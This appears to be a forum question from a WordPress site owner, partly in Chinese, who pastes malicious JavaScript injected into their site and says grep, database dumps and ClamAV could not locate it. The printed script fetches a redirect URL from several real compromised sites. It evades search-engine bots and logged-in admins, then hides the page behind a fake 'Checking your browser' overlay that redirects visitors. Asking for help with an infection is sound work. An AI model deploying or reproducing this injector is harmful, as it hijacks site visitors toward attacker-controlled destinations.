Question

(function () {
    //<script>
    var w_location = null;

    var domains = [
        'http://kntsv.nl/images/tmp.php',
        'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
        'http://langedijke.nl/plugins/tmp.php',
        'http://megateuf.edelo.net/cgi-bin/tmp.php',
        'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
        'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
        'http://yofeet.com/drupal/modules/tmp.php',
        'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
        'http://www.devonportmotors.co.nz/images/tmp.php'
    ];

    function getDomainName(domain) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                if (xhr.responseText && xhr.responseText.trim().length > 0) {
                    w_location = xhr.responseText.trim();
                }
            }
        };
        xhr.open('GET', domains[0], true);
        xhr.send();
    }

    for (var i = 0; i < domains.length; i++) {
        getDomainName(domains[i]);
    }

    function start() {

        var from = document.referrer;
        var i;

        // If it's direct
        var eee = ["", " "];

        var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];


        if (checkCookie()) {
            return;
        }
        var uagent = navigator.userAgent;
        if (!uagent || uagent.length == 0) {
            return;
        }
        uagent = uagent.toLowerCase();
        if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
            || uagent.indexOf('crawl') != -1) {

        } else {
            hideWebSite();
        }

        function getCookie(c_name) {
            var c_value = document.cookie;
            var c_start = c_value.indexOf(" " + c_name + "=");
            if (c_start == -1) {
                c_start = c_value.indexOf(c_name + "=");
            }
            if (c_start == -1) {
                c_value = null;
            }
            else {
                c_start = c_value.indexOf("=", c_start) + 1;
                var c_end = c_value.indexOf(";", c_start);
                if (c_end == -1) {
                    c_end = c_value.length;
                }
                c_value = unescape(c_value.substring(c_start, c_end));
            }
            return c_value;
        }

        function setCookie(c_name, value, exdays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + exdays);
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
            document.cookie = c_name + "=" + c_value;
        }

        function checkCookie() {
            if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                return true;
            } else {
                localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
            }
            var referrerRedirectCookie = getCookie("referrerRedirectCookie");
            if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
                return true;
            } else if (document.cookie.indexOf('wordpress_logged') !== -1
                || document.cookie.indexOf('wp-settings') !== -1
                || document.cookie.indexOf('wordpress_test') !== -1) {
                return true;
            } else {
                setCookie("referrerRedirectCookie", "do not redirect", 730);
                return false;
            }
        }

    }


    function createPopup() {
        var popup = document.createElement('div');
        popup.style.position = 'absolute';
        popup.style.width = '100%';
        popup.style.height = '100%';
        popup.style.left = 0;
        popup.style.top = 0;
        popup.style.backgroundColor = 'white';
        popup.style.zIndex = 99999;
        document.body.appendChild(popup);

        popup.onclick = function () {
            var intervalId = setInterval(() = > {
                    if (
            !w_location
            )
            {
                return;
            }
            clearInterval(intervalId);
            window.location = w_location;
        },
            10
            )
            ;

        };

        var p = document.createElement('p');
        p.innerText = "Checking your browser before accessing "
            + window.location.host + "...";
        p.style.textAlign = 'center';
        //p.style.margin = '20px auto';
        //p.style.left = '20px';
        p.style.fontSize = 'x-large';
        p.style.position = 'relative';
        p.textContent = p.innerText;
        popup.appendChild(p);

        return popup;
    }

    function createButton() {
        var button = document.createElement('div');
        button.style.position = 'absolute';
        button.style.top = '20%';
        button.style.left = '10%';
        button.style.right = '10%';
        button.style.width = '80%';
        button.style.border = "1px solid black";
        button.style.textAlign = 'center';
        button.style.verticalAlign = 'middle';
        button.style.margin = '0, auto';
        button.style.cursor = 'pointer';
        button.style.fontSize = 'xx-large';
        button.style.borderRadius = '5px';
        button.onclick = function () {
            window.location = w_location;
        };
        button.onmouseover = function () {
            button.style.border = '1px solid red';
            button.style.color = 'red';
        };
        button.onmouseout = function () {
            button.style.border = '1px solid black';
            button.style.color = 'black';
        };

        button.innerText = "Continue";
        button.textContent = button.innerText;
        return button;
    }

    var hideWebSite = function () {
        var popup = createPopup();
        var button = createButton();
        popup.appendChild(button);

    };

    var readyStateCheckInterval = setInterval(function () {
        if (document.readyState === 'complete'
            || document.readyState == 'interactive') {
            clearInterval(readyStateCheckInterval);
            start();
        }
    }, 10);
    //</script>


})

我尝试过grep代码，但是找不到任何东西，我把MySQL转储成了完整的数据库，但是没有找到任何东西。

我运行了clamscan但我找不到任何问题，我对Visual Composer的疑问是，但是当我在Visual Composer中使用grep时，我看不到这段代码。

更新

这是受感染时网站显示的内容：